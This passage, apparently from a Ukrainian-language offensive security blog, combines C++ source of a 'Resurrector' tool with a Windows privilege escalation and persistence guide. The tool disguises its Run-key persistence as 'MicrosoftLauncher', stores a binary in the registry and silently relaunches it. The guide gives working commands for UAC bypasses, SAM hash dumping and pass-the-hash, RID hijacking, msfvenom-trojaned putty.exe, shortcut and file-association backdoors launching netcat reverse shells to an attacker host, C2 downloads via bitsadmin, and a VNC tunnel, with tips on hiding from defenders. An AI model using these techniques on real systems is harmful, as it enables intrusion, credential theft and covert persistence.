        printf(err == ERROR_CANCELLED ? "The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: %ld\n", err);
    }
    else {
        printf("Successfully created process =^..^=\n");
    }
    success = true;
    return success;
}


int persistenceViaRunKeys(const char* exe) {
    HKEY hkey = NULL;
    LONG res = RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
    if (res == ERROR_SUCCESS) {
        DWORD dataSize = 0;
        res = RegQueryValueExW(hkey, L"MicrosoftLauncher", NULL, NULL, NULL, &dataSize);
        if (res != ERROR_SUCCESS) {
            wchar_t* wide_exe = NULL;
            int wide_len = MultiByteToWideChar(CP_UTF8, 0, exe, -1, NULL, 0);
            wide_exe = new wchar_t[wide_len];
            MultiByteToWideChar(CP_UTF8, 0, exe, -1, wide_exe, wide_len);
            RegSetValueExW(hkey, L"MicrosoftLauncher", 0, REG_SZ, (BYTE*)wide_exe, (wide_len + 1) * sizeof(wchar_t));
            delete[] wide_exe;
        }
        RegCloseKey(hkey);
    }
    return 0;
}


bool isProcessRunning(wstring processName) {
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return false;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
        return false;
    }
    do {
        if (processName.compare(pe32.szExeFile) == 0) {
            CloseHandle(hProcessSnap);
            return true;
        }
    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);
    return false;
}

bool existsFile(string filePath) {
    DWORD dwAttrib = GetFileAttributesA(filePath.c_str());
    return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

bool existsRegistryKey(const std::string& registryKey) {
    HKEY hKey;
    std::wstring wRegistryKey(registryKey.begin(), registryKey.end());

    LONG lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, wRegistryKey.c_str(), 0, KEY_READ, &hKey);
    if (lResult == ERROR_SUCCESS) {
        RegCloseKey(hKey);
        return true;
    }
    return false;
}

size_t WriteCallback(void* ptr, size_t size, size_t nmemb, FILE* stream) {
    size_t written = fwrite(ptr, size, nmemb, stream);
    return written;
}
//
//int downloadBinary(string url, string filePath) {
//    // download the binary from the URL
//    CURL* curl;
//    FILE* fp;
//    CURLcode res;
//
//    curl = curl_easy_init();
//    if (curl) {
//        fp = fopen(filePath.c_str(), "wb");
//        if (!fp) {
//            std::cerr << "Error: No se pudo abrir el archivo para escribir.\n";
//            return 1;
//        }
//
//        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
//
//        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
//
//        curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
//
//        res = curl_easy_perform(curl);
//
//        if (res != CURLE_OK) {
//            std::cerr << "Error en la solicitud: " << curl_easy_strerror(res) << "\n";
//            fclose(fp);
//            curl_easy_cleanup(curl);
//            return 1;
//        }
//
//        fclose(fp);_
//
//        curl_easy_cleanup(curl);
//        return 0;
//    }
//
//    std::cerr << "Error: No se pudo inicializar curl.\n";
//    return 1;
//}

std::wstring stringToWstring(const std::string& str) {
    return std::wstring(str.begin(), str.end());
}

string wstringToString(wstring wstr) {
    string str(wstr.begin(), wstr.end());
    return str;
}

bool DoesRegistryEntryExist(const wchar_t* wRegistryPath, const wchar_t* valueName) {
    HKEY hKey;
    LONG result;

    // Intentar abrir la clave del registro
    result = RegOpenKeyEx(HKEY_CURRENT_USER, wRegistryPath, 0, KEY_READ, &hKey);
    if (result != ERROR_SUCCESS) {
        return false; // No se pudo abrir la clave (probablemente no existe)
    }

    // Intentar consultar el valor en la clave del registro
    result = RegQueryValueEx(hKey, valueName, nullptr, nullptr, nullptr, nullptr);
    RegCloseKey(hKey); // Cerrar la clave del registro

    return (result == ERROR_SUCCESS); // Si result es ERROR_SUCCESS, la entrada existe
}

// Set file as binary in registry
bool setFileAsBinary(const std::string& srcFile) {
    std::wstring wSrcFile = stringToWstring(srcFile);

    HANDLE hFile = CreateFile(wSrcFile.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        std::cerr << "Error opening file: " << GetLastError() << std::endl;
        return false;
    }

    HKEY hKey;
    LONG openStatus = RegCreateKeyEx(HKEY_CURRENT_USER, wRegistryPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, NULL);
    if (openStatus != ERROR_SUCCESS) {
        std::cerr << "Error opening registry key: " << openStatus << std::endl;
        CloseHandle(hFile);
        return false;
    }

    const DWORD CHUNK_SIZE = 1024;
    BYTE buffer[CHUNK_SIZE];
    DWORD bytesRead;

    std::vector<BYTE> fileData;

    while (ReadFile(hFile, buffer, CHUNK_SIZE, &bytesRead, NULL) && bytesRead > 0) {
        fileData.insert(fileData.end(), buffer, buffer + bytesRead);
    }

    LSTATUS status = RegSetValueEx(hKey, L"FileValue", 0, REG_BINARY, fileData.data(), fileData.size());
    if (status != ERROR_SUCCESS) {
        std::cerr << "Error setting registry value: " << status << std::endl;
        CloseHandle(hFile);
        RegCloseKey(hKey);
        return false;
    }

    std::cout << "File stored in the registry as binary data." << std::endl;
    CloseHandle(hFile);
    RegCloseKey(hKey);

    return true;
}


bool getFileAsBinary(const std::string& valueName, const std::string& dtsFile) {
    HKEY hKey;
    LONG openStatus = RegCreateKeyEx(HKEY_CURRENT_USER, wRegistryPath, 0, NULL, 0, KEY_QUERY_VALUE, NULL, &hKey, NULL);
    if (openStatus != ERROR_SUCCESS) {
        std::cerr << "Error opening registry key: " << openStatus << std::endl;
        return false;
    }

    DWORD valueType;
    DWORD dataSize = 0;
    std::wstring valueNameL = stringToWstring(valueName);

    LONG queryValueStatus = RegQueryValueEx(hKey, valueNameL.c_str(), NULL, &valueType, NULL, &dataSize);
    if (queryValueStatus != ERROR_SUCCESS || valueType != REG_BINARY) {
        std::cerr << "Error retrieving registry value size or wrong value type." << std::endl;
        RegCloseKey(hKey);
        return false;
    }

    std::vector<BYTE> buffer(dataSize);

    queryValueStatus = RegQueryValueEx(hKey, valueNameL.c_str(), NULL, &valueType, buffer.data(), &dataSize);
    if (queryValueStatus != ERROR_SUCCESS) {
        std::cerr << "Error retrieving registry value." << std::endl;
        RegCloseKey(hKey);
        return false;
    }

    std::ofstream outfile(dtsFile, std::ios::binary);
    if (!outfile.is_open()) {
        std::cerr << "Error opening output file." << std::endl;
        RegCloseKey(hKey);
        return false;
    }

    outfile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
    outfile.close();

    std::cout << "File retrieved and saved successfully." << std::endl;

    RegCloseKey(hKey);
    return true;
}


int main(int argc, char* argv[])
{
    if (argc < 2) {
        cout << "Usage: Resurrector.exe -f <filepath> -p <process name> [-r <registry key>] [-files <files>] [-l <limit>] [-admin] [-h <help>]" << endl;
        cout << "Use -h for help" << endl;
        return 1;
    }


    string filePath = "";
    string processName = "";
    vector<string> registryKeys;
    unordered_map<string, string> registries;
    vector<string> files;
    bool admin = false;
    int counter = 0;
    int countLimit = -1;

    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "-f") == 0) {
            filePath = argv[i + 1];
        }
        else if (strcmp(argv[i], "-p") == 0) {
            processName = argv[i + 1];
        }
        else if (strcmp(argv[i], "-r") == 0) {
            string registryKey = argv[i + 1];
            // split the registry keys by comma
            size_t pos = 0;
            string token;
            while ((pos = registryKey.find(",")) != string::npos) {
                token = registryKey.substr(0, pos);
                registryKeys.push_back(token);
                registryKey.erase(0, pos + 1);
            }
            registryKeys.push_back(registryKey); // Add the last registry key
            for (string key : registryKeys) {
                // replace the / with \\ to be compatible with the registry
                for (int i = 0; i < key.size(); i++) {
                    if (key[i] == '/') {
                        key[i] = '\\';
                    }
                }

                // split the last / or \\ to get the registry key and the value
                size_t pos = key.find_last_of("/\\");
                string value = key.substr(pos + 1);
                key = key.substr(0, pos);
                registries[key] = value;
            }
        }
        else if (strcmp(argv[i], "-files") == 0) {
            string file = argv[i + 1];
            // split the files by comma
            size_t pos = 0;
            string token;
            while ((pos = file.find(",")) != string::npos) {
                token = file.substr(0, pos);
                files.push_back(token);
                file.erase(0, pos + 1);
            }
            files.push_back(file); // Add the last file
        }
        else if (strcmp(argv[i], "-h") == 0) {
            cout << "Usage: Resurrector.exe -f <filepath> -p <process name> [-r <registry key>] [-files <files>] [-l <limit>] [-h <help>]" << endl;
            cout << "\nArguments:" << endl;
            cout << "    -f <filepath> : File Path of the Binary (not null)" << endl;
            cout << "    -p <process name> : Process Name (not null)" << endl;
            cout << "    -r <registry key> : Registry Keys, can be multiple separated by comma (optional)" << endl;
            cout << "    -files <files> : Other files, if one of two of this files is not found, the process will resurrected, can be multiple separated by comma (optional)" << endl;
            cout << "    -l <limit> : Limit of the counter, if the counter is greater or equal to the limit, the process will resurrected (optional)" << endl;
            cout << "    -admin : Run the process as admin (optional) (More Possibilities to become detected) ([!]can fail in some systems!)" << endl;
            cout << "    -h : Help" << endl;
            return 0;
        }
        else if (strcmp(argv[i], "-l") == 0) {
            countLimit = atoi(argv[i + 1]);
        }
        else if (strcmp(argv[i], "-admin") == 0) {
            admin = true;
        }
    }

    if (countLimit == -1) {
        countLimit = 3;
    }

    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    // create the persistence via Run Keys with this current executable
    // get the complete command to run the current executable

    string completeCommand = path;
    for (int i = 1; i < argc; i++) {
        completeCommand += " ";
        completeCommand += argv[i];
    }
    cout << "Complete Command: " << completeCommand << endl;
    char* cCompleteCommand = new char[completeCommand.size() + 1];
    strcpy(cCompleteCommand, completeCommand.c_str());
    persistenceViaRunKeys(cCompleteCommand);


    cout << "File Path: " << filePath << endl;
    cout << "Process Name: " << processName << endl;
    cout << "Admin: " << admin << endl;
    cout << "Registry Keys: ";
    for (string registryKey : registryKeys) {
        cout << registryKey << " ";
    }
    cout << endl;
    cout << "Files: ";
    for (string file : files) {
        cout << file << " ";
    }
    cout << endl;

    // if the paths or registry keys have '/' replace it with '\\'
    for (int i = 0; i < filePath.size(); i++) {
        if (filePath[i] == '/') {
            filePath[i] = '\\';
        }
    }

    for (int i = 0; i < files.size(); i++) {
        for (char& c : files[i]) {
            if (c == '/') {
                c = '\\';
            }
        }
    }

    for (int i = 0; i < registryKeys.size(); i++) {
        for (char& c : registryKeys[i]) {
            if (c == '/') {
                c = '\\';
            }
        }
    }

    // check if the registry with the binary already exists, if not, create it
    string registryKey = wstringToString(wRegistryPath);
    wchar_t* registrName = new wchar_t[value.size() + 1];
    mbstowcs(registrName, value.c_str(), value.size() + 1);
    if (!DoesRegistryEntryExist(wRegistryPath, registrName)) {
        setFileAsBinary(filePath);
    }

    FreeConsole();

    while (true) {
    cout << "\n[!] Resurrector Detector started" << endl;
    cout << "[+] Results:" << endl;

    // check if the process is running	
    if (isProcessRunning(wstring(processName.begin(), processName.end()))) {
        cout << "Process is running" << endl;
    }
    else {
        cout << "Process is not running" << endl;
        counter++;
    }

    // check if the files are in their paths
    for (string file : files) {
        if (existsFile(file)) {
            cout << "File " << file << " exists" << endl;
        }
        else {
            cout << "File " << file << " does not exist" << endl;
            counter++;
        }
    }

    // check if the binary is in the path
    if (existsFile(filePath)) {
        cout << "Binary exists" << endl;
    }
    else {
        cout << "Binary does not exist" << endl;
        counter = counter + 2;
    }

    // check if the registry keys are in the registry, iterate registries hashmap and use DoesRegistryEntryExist
    for (const auto& entry : registries) {
        const string& key = entry.first;  // Access the key
        const string& value = entry.second;  // Access the value
        wchar_t* keyName = new wchar_t[key.size() + 1];
        mbstowcs(keyName, key.c_str(), key.size() + 1);
        wchar_t* valueName = new wchar_t[value.size() + 1];
        mbstowcs(valueName, value.c_str(), value.size() + 1);

        if (DoesRegistryEntryExist((const wchar_t*)keyName, (const wchar_t*)valueName)){
            cout << "Registry Key " << key << " exists" << endl;
        }
        else {
            cout << "Registry Key " << key << " does not exist" << endl;
            counter++;
        }
    }

    

    cout << "\n[!] Counter: " << counter << endl;
    cout << "[!] Count Limit: " << countLimit << endl;

    if (counter >= countLimit) {
        cout << "Resurrecting process" << endl;
        // recover the binary from the registry
        string buffer;
        //int size = getFileSizeFromRegister();
        getFileAsBinary(value, filePath);
        if (admin) {
            runProcAsAdminFromUser(filePath);
        }
        else {
            ShellExecuteA(NULL, "open", filePath.c_str(), NULL, NULL, SW_HIDE);
        }
    }
    else {
    cout << "Not resurrecting process" << endl;
    }

    counter = 0;
    Sleep(5000);
    }
}

Результат роботи:

Ескалація привілеїв

Ескалація привілеїв – це процес експлуатації багів, помилок, недоліків та вразливостей інформаційної системи з метою підвищення поточних прав та привілеїв облікового запису користувача, які надають розширений доступ і права на керування (читання/виконання/запис) до ресурсів, що можуть обмежуватися для різних типів користувачів.

Процес виявлення ескалації привілеїв доволі тривалий, він може бути як горизонтальним, так і вертикальним. Вимагає від пентестера досконалого розуміння архітектури Windows та програмування під неї – уміння написання додатків/патчів/експлойтів.

High Mandatory Level in Windows
Діагностика груп користувача. High Mandatory Level – вищий рівень адміністративних прав. Користувач отримує привілеї на розширене керування системою.
Діагностика привілеїв користувача. Enabled – означає увімкнено. Максимальна кількість дозволів дає можливість виконувати будь-які операції в системі.

Нижче розберемо процес ескалації на прикладі існуючих інструментів, тактик, вразливостей та експлойтів.

UAC Bypass

Що таке UAC? Це система безпеки User Access Contro, яка працює у вигляді діалогового вікна з вимагою додатковго схвалення збоку користувача виконання додатків Windows, які потребують прав адміністратора. Вперше введена в Windows Vista. Її можна обійти не використовуючи жодні вразливості, а шляхом простого зловживання довірою Windows до легітимних служб та процесів, які під час запуску зчитують налаштування з реєстру і містять у своєму маніфесті параметр autoElevate: true – автоматичне виконання з правами адміністратора, без схвалення UAC.

Приклад легітимного додатку Windows з позначкою адміністратора.
Analyze manifest of PE
Перегляд маніфесту PE-файла в додатку Pestudio.

Розберемо деякі з таких додатків:

  • fodhelper.exe – техніка обходу UAC через утиліту, яка відкриває налаштування розширених опцій додатків Windows (розділ “Optional Features”). При запуску шукає обробник URI-схеми ms-settings://, що відповідає запису в реєстрі HKCU\ms-settings\shell\open\command. HKCU доступний на запис без прав адміна, тому зловмиснику достатньо переписати його, вложивши наприклад шкідливе навантаження. Цей хак досі спрацьовує на деяких непропатчених збірках ОС Winsows 10/11 з неналаштованим на максимальний захист Defender’ом.
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f
fodhelper.exe
  • eventwvr.exe – ще одна техніка обходу UAC через вбудовану службову утиліту Windows “Event viewer” (eventwvr.exe), призначену для перегляду системних подій. Вона теж автоматично запускається з підвищеними правами, звертаючись до обробника команди mscfile (HKCU\mscfile\shell\open\command). Аналогічно попередньому методу, зловмисник просто підміняє запис реєстру. Вразливість була пропатчена і працює лише лише на ОС Windows 10 до збірки 1803.
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExecute /f
eventvwr.exe
  • eudcedit.exe – службова утиліта Windows для редагування символів. Експлуатується через веб-інтерфейс. Створюємо новий символ, потім обираємо File -> Font Links. У вікні вказуємо шлях “PowerShell” і тиснемо “Зберегти”. Відкриється оболонка командного рядка PowerShell з правами адміністратора. В останніх версіях Windows спрацьовує сигнатура Defender.

Більше прикладів можна знайти тут.

Експлойти Nightmare Eclipse

Ці експлойти до Windows 10/11 були опубліковані дослідником Nightmare Eclipse на його GitHub-акаунті у квітні 2026 року. Microsoft подали скаргу на користувача і забанили разом з репозиторієм. Більшість з них вже пропатчені, але якщо видозмінити PoC і на їх основі розробити власні версії, то можна продовжувати експлуатувати деякі проблеми.

CVE 2026-33825 (Blue Hammer)

Шкідливе навантаження експлуатує процес оновлення захисника Windows Defender, а саме – зловживає його взаємодією з Volume Shadow Copy (служба тіньового копіювання томів), застосовуючи TOCTOU (time-of-check to time-of-use) і oplocks. У висновку, вдається “заморозити” Defender, отримати доступ до бази хешів паролів локальних користувачів Security Account Manager (SAM) й підняти привілеї локального користувача до рівня NT AUTHORITY\SYSTEM, що дає необмежені права та можливості в керуванні системою.

Станом на 29.05.2026 Microsoft випустив патч – оновлений Windows Defender тепер блокує спроби експлуатації. Однак, як зазначають дослідники, вже існують модифіковані версії цього експлойту, які через зміну сигнатур, шифрування і інші реалізації алгоритму можуть продовжувати зловживати логікою Defender.

CVE-2026-41091 (Red Sun)

Ще  одна вразливість нульового дня, яка зловживає логікою Windows Defender і дозволяє підняти локальні привілеї до рівня SYSTEM (Local Privilege Escalation, LPE).

Експлойт під назвою Red Sun опублікований у відкритому доступі тим самим дослідником Nightmare Eclipse у квітні 2026 року. Він використовує API Cloud Files, записує тестовий файл EICAR, виграє стан гонки з тіньовою копією тому (VSS) за допомогою Oplock, а потім перенаправляє перезапис на C:\Windows\system32\TieringEngineService.exe. У результаті інфраструктура Cloud Files запускає підcyнутий файл, що виконується від імені SYSTEM.

Патч для Windows Defender опублікований Microsoft 19 травня 2026 року наче вирішує цю проблему.

CVE-2020-17103 (MiniPlasma)

Черговий 0-Day експлойт від Nightmare Eclipse. Дозволяє підвищити локальні привілеї в операційній системі Windows 10/11 через взаємодію з Cloud Filter (cldflt.sys) та функцією HsmOsBlockPlaceholderAccess. Причому, ця вразливість існувала ще з 2020 року, коли її начебто полагодили (CVE-2020-17103).

CVE-2026-45586 (GreenPlasma)

Експлойт для локального підвищення привілеїв через системний компонент CFTMON. Ця вразливість дозволяє звичайному користувачеві створювати довільні об’єкти розділів пам’яті в каталогах, доступних SYSTEM, що потенційно розкриває шлях до ескалації привілеїв до NT\SYSTEM.

CVE-2026-45498 (Undefend)

Ще один експлойт вищеназваного дослідника. Викликає відмову в обслуговуванні Windows Defender, таким чином “заморожуючи” активність захисника.

Решта експлойтів від NightmareEclipse можна знайти в його особистому репозиторії Project NightCrawler, а також ChurchOfMalware.

CVE-2026-50656 (RoguePlanet)

Один з останніх експлойтів Nightmare Eclipse. Спрямований на Windows Defender. Вразливість знайшли в роботі модуля Microsoft Malware Protection Engine, який має однойменну назву – RoguePlanet.

Робота з користувачами (енумерація, бекдоринг, ескалація)

Створення нового користувача:

  • net user newuser /add – створення користувача з пустим паролем;
  • net user newuser "" – створення користувача без пароля;
  • net user newuser password /add – створення користувача з паролем;
  • net user newuser password – задати/змінити пароль для існуючого користувача;
  • net user newuser – отримати інформацію про заданого користувача;
  • net user newuser /delete – видалити користувача;
  • net user – отримати список користувачів системи.
  • wmic useraccount get name,sid – отримати список користувачів системи через WMIC із вказаним ідентифікатором SID.

Перемикання між користувачами:

  • shutdown /l – покинути обліковий запис (закриття сесії);
  • tsdiscon – перехід в інший обліковий запис без закриття сесії.

Перегляд сесій і процесів:

  • query session – вивід сесій з ID;
  • logoff 1 – вихід із сесії за вказаним ID;
  • tasklist /FI "USERNAME eq username" – перегляд запущених процесів в обліковому записі вказаного користувача.

Керування адміністраторами:

  • net localgroup Administrators newuser /add – додати непривілейованого користувача в групу Адміністраторів;
  • net localgroup Administrators – покаже список облікових записів, які входять в групу Адміністраторів;
  • net localgroup "Backup Operators" newuser /add – додати користувача в групу операторів резервного копіювання, що дозволяє читати/записувати будь-які файли чи розділи реєстру в системі, ігноруючи будь-які налаштовані DACL, але не дає прав Адміністратора. Може використовуватися для уникнення початкового виявлення;
  • net localgroup "Remote Management Users" newuser /add – додати користувача в групу віддаленого керування, що дає змогу підключатися по RDP і WinRM;
  • net user Administrator /active:yes – активувати вбудованого адміністратора Windows (обходить UAC);
  • net user Administrator password – задати пароль для облікового запису Адміністратора.

Аналіз привілеїв поточного користувача:

  • whoami /groups – перевірка груп поточного користувача.
  • whoami /priv – перевірка привілеїв (прав) поточного користувача.

Запуск від імені облікових записів:

  • runas /user:newuser cmd – відкрити нове вікно командного рядка CMD від імені заданого користувача;
  • runas /user:Administrator "GoogleUpdate.exe" – виконати файл від імені дміністоратора;
  • runas /user:%USERNAME% powershell – запустити командний рядок PowerShell від імені поточного користувача;:

Переглянути процеси користувача:

  • Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*newuser*"} – переглянути процеси іншого користувача в PowerShell (потребує прав адміністратора);
  • Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*$env:USERNAME*"} – переглянути процеси поточного користувача в PowerShell;
  • tasklist /v /fi "USERNAME eq %USERNAME%" – переглянути усі процеси поточного користувача (CMD).

WinRM ескалація

Надавши користувачу права “Remote Management Users”, можна спробувати підключитися по WinRM. WinRM – це служба віддаленого керування Windows, яка працює на портах TCP 5985 (HTTP) та 5986 (HTTPS) й надає повнофункціональну віддалену оболонку PowerShell (Powershell Remoting).

Для під’єднання до неї знадобиться утиліта evil-winrm:

gem install evil-winrm
echo 'export PATH="$HOME/.local/share/gem/ruby/3.4.0/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
  • evil-winrm -i IP_address -u username -p password

Але попередньо необхідно вимкнути LocalAccountTokenFilterPolicy – це правило безпеки модуля UAC, яке позбавляє будь-який локальний обліковий запис прав при віддаленому вході:

  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Після з’єднання через WinRM, можна спробувати завантажити таблиці SAM і SYSTEM, які містять хеші паролей користувачів:

  • reg save hklm\system system.bak
  • reg save hklm\sam sam.bak
  • download system.bak
  • download sam.bak

Тепер необхідно ці хеші розпарсити:

  • pip install pypykatz
  • pypykatz registry --sam sam.bak system.bak

Тепер під’єднуємося по WinRM з обліковим записом Адміністратора та просто підставивши отриманий хеш (техніка Pass-to-Hash (PtH)):

  • evil-winrm -i X.X.X.X -u Administrator -H f3118544a831e728781d780cfdb9c1fa

Таким чином ми увійшли в систему з повними привілеями. Як це стало можливим?

ЧИТАЙТЕ ТАКОЖ:  Як перетворити Gmail на власний поштовий SMTP-сервер?

Протокол NTLM приймає саме хеш, а не пароль, який зберігається в таблиці SAM. По замовчуванню, коли ви вводите пароль – Windows хешує його і згодовує NTLM. У даному випадку з допомогою Pass-the-Hash ми одразу віддали системі автентифікації готовий хеш – вона перевірила його і впустила.

Evil-winrm також дозволяє ряд інших функцій, наприклад:

  • upload <локальний_файл> <цільовий_шлях> # завантажити файл на ціль
  • download <цільовий_файл> <локальний_шлях> # стягнути файл з цілі
  • menu # меню з усіма функціями
  • services # список сервісів

Метод №2

Можна піти іншим шляхом і завантажити всю конфігурацію привілеїв службовою утилітою Windows – secedit:

  • secedit /export /cfg config.inf

Тепер просто відкрити файл і додати свого користувача до тих чи інших привілеїв, наприклад:

  • (Get-Content config.inf) -replace 'SeBackupPrivilege = \*S-1-5-32-544,\*S-1-5-32-551', 'SeBackupPrivilege = *S-1-5-32-544,*S-1-5-32-551,username' | Set-Content config.inf
  • (Get-Content config.inf) -replace 'SeRestorePrivilege = \*S-1-5-32-544,\*S-1-5-32-551', 'SeRestorePrivilege = *S-1-5-32-544,*S-1-5-32-551,username' | Set-Content config.inf

Перевірити вміст:

  • type config.inf

Таким чином ми додали користувача username до двох груп привілеїв – SeBackupPrivelege і SeRestorePrivilege. Тепер треба цей файл політик config.inf повторно переконвертувати у config.sdb та імпортувати назад в систему:

  • secedit /import /cfg config.inf /db config.sdb
  • secedit /configure /db config.sdb /cfg config.inf

Все, тепер користувач наділений привілеями оператора резервного копіювання. Щоб підключитися з ним по WinRM попередню треба відключити LocalAccountTokenFilterPolicy та додати його в локальну групу “Remote Management Users” або, якщо є доступ до робочого столу, відкрити налаштування та включити Full Control:

  • Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
Керування привілеями через налаштування Windows

Суть методу з Full Control від звичайного полягає у тому, що в такому разі привілеї користувача будуть приховані. Якщо виконати:

  • net user username

То ми побачимо звичайні права користувача:

Local Group Memberships      *Users
Global Group memberships     *None

При цьому, це буде фактично повноцінний Адміністратор системи з правами запису/перезапису всіх файлів та реєстру Windows. У корпоративних системах це в рази ускладнить виявлення збоку Blue Team команд.

Знайти інші групи привілеїв можна у довіднику Windows >>

RID Hijacking

RID – це числовий ідентифікатор, який присвоюється кожному користувачу Windows і є частиною загального ідентифікатора в домені SID. Обліковому запису адміністратора за замовчуванням призначається RID = 500, звичайні користувачі отримують RID >= 1000.

Завдання полягає у тому, аби призначити RID=500 нашому користувачу.

Для цього відкриваємо редактор реєстру утилітою PsExec:

  1. Переходимо в гілку HKLM\SAM\SAM\Domains\Account\Users\
  2. Переводимо останній біт RID в 16-тковий формат, наприклад 1010 = 0x3F2. Відповідно переходимо у гілку 0x3F2.
  3. Відкриваємо і редагуємо значення F на позиції 0x30 – тут треба змінити перші чотири байти RID на 500, тобто 0x01F4.
  4. Так як використовується нотація little-endian, коли байти йдуть в зворотному напрямі – замість F2 03 вбиваємо F4 01.

Все, тепер Windows пов’яже цей обліковий запис з Адміністратором і він матиме усі необхідні привілеї.

Можна підключитися з Linux по RDP протоколу: xfreerdp /v:X.X.X.X /u:username /p:password /cert:ignore

Файли-бекдори

Msfvenom binary

В Metasploit є чудова можливість закладати у будь-який бінарний exe-файл експлойт, наприклад реверс-шелл. Для прикладу візьмемо putty.exe, який часто використовується користувачами Windows для SSH-з’єднань.

Виконаємо команду msfvenom:

  • msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=XXXX -b "\x00" -f exe -o putty.exe

Тепер отриманий файл треба просто підмінити в системі користувача. При його виконанні відкриється стандартний додаток PuTTY, але паралельно відкриється TCP-з’єднання для шеллу.

Ще один спосіб як організувати бекдор – це змінити шлях виконання у ярлику Windows – shortlink.

Наприклад, у властивостях, в полі Target буде вказано:

  • C:\Windows\System32\calc.exe

Ми можемо підмінити його на інший файл:

  • powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 – скрипт який одночасно виконає оригінальний calc.exe і запустить реверс-шелл, ось його вміст:
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP XXXX"

C:\Windows\System32\calc.exe

Hijacking File Association

В реєстрі Windows зберігається інформація про те, який додаток відповідає за відкриття тих чи інший файлових розширень. Наприклад, файл .txt відкриває по замовчуванню системний додаток Блокнот – Notepad.exe. Як завжди, його можна підмінити на власний файл, який буде одночасно відкривати оригінальний Notepad.exe і запускати реверс-шелл.

Гілки з розширеннями знаходяться тут: HKLM\Software\Classes\

Якщо перейти в гілку з розширенням .txt, то в ньому для Default буде вказано значення – txtfile. Шукаємо цей тип і змінюємо у його гілці команду виконання:

  • HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command

І змінюємо його значення на: powershell.exe -WindowStyle hidden C:\Windows\backdoor2.ps1

Вміст backdoor.ps1:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe X.X.X.X XXXX"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Таким чином, коли користувач щоразу запускатиме текстовий файл – запускатиметься блокнот і паралельно бекдор. Це дуже хороший приклад для досягнення персистетності. Більшість середньостатистичних користувачів навіть не здогадаються, що система скомпрометована і здійснює паралельні з’єднання. Звісно, за умови що з’єднання не буде обріже Defender чи Firewall. А він у більшості користувачів Windows відключений або відсутній.

Більше інформації по файлам-бекдорам в статті Техніки маскування файлів >>

Віддалене адміністрування Windows

У цьому розділі пропонуються різноманітні варіанти і способи віддаленого адміністрування операційної системи, яке може потребувати вже попереднього доступу та підвищених привілеїв.

VNC Tunnel

VNC дає можливість керувати робочим столом, а отже ми можемо використати його для реалізації подальших атак. Спробуємо встановити тунель, який дасть нам розширений доступ.

Встановлюємо на хост-машині пакет TightVNC, в Windows Advanced Settings в перемінні PATH додаємо директорію розташування додатка.

Переходимо в папку з додатком, копіюємо файли в окрему папку, розгортаємо там Cloudflare-сервер і доставляємо на цільову машину три файли:

  • bitsadmin /transfer dl1 /download /priority high https://c2-example.com/tvnserver.exe C:\Users\%USERNAME%\tvnserver.exe
  • bitsadmin /transfer dl2 /download /priority high https://c2-example.com/screenhooks64.dll C:\Users\%USERNAME%\screenhooks64.dll
  • bitsadmin /transfer dl3 /download /priority high https://c2-example.com/hookldr.exe C:\Users\%USERNAME%\hookldr.exe

Тепер на віддаленій машині налаштовуємо TightVNC через додавання записів в реєстр:

  • reg add "HKCU\Software\TightVNC\Server" /v AllowLoopback /t REG_DWORD /d 1 /f
  • reg add "HKCU\Software\TightVNC\Server" /v UseVncAuthentication /t REG_DWORD /d 0 /f
  • reg add "HKCU\Software\TightVNC\Server" /v UseControlAuthentication /t REG_DWORD /d 0 /f
  • start C:\Users\%USERNAME%\tvnserver.exe -run
  • netstat -an | findstr 5900 – повинен бути статус LISTENING.

На хост-машині (сервері) створюємо файл tunnel.ps1 – він має містити публічну IP-адресу сервера і порт доступний з мережі (можна використати порт-форвардинг в VPN):

$t = New-Object System.Net.Sockets.TcpClient('IP_ADDRESS_C2', <c2-port>)
$v = New-Object System.Net.Sockets.TcpClient('127.0.0.1', 5900)
$ts = $t.GetStream()
$vs = $v.GetStream()
$b1 = New-Object byte[] 65536
$b2 = New-Object byte[] 65536
while ($t.Connected) {
  if ($ts.DataAvailable) { $n = $ts.Read($b1, 0, $b1.Length); $vs.Write($b1, 0, $n); $vs.Flush() }
  if ($vs.DataAvailable) { $n = $vs.Read($b2, 0, $b2.Length); $ts.Write($b2, 0, $n); $ts.Flush() }
  Start-Sleep -Milliseconds 1
}

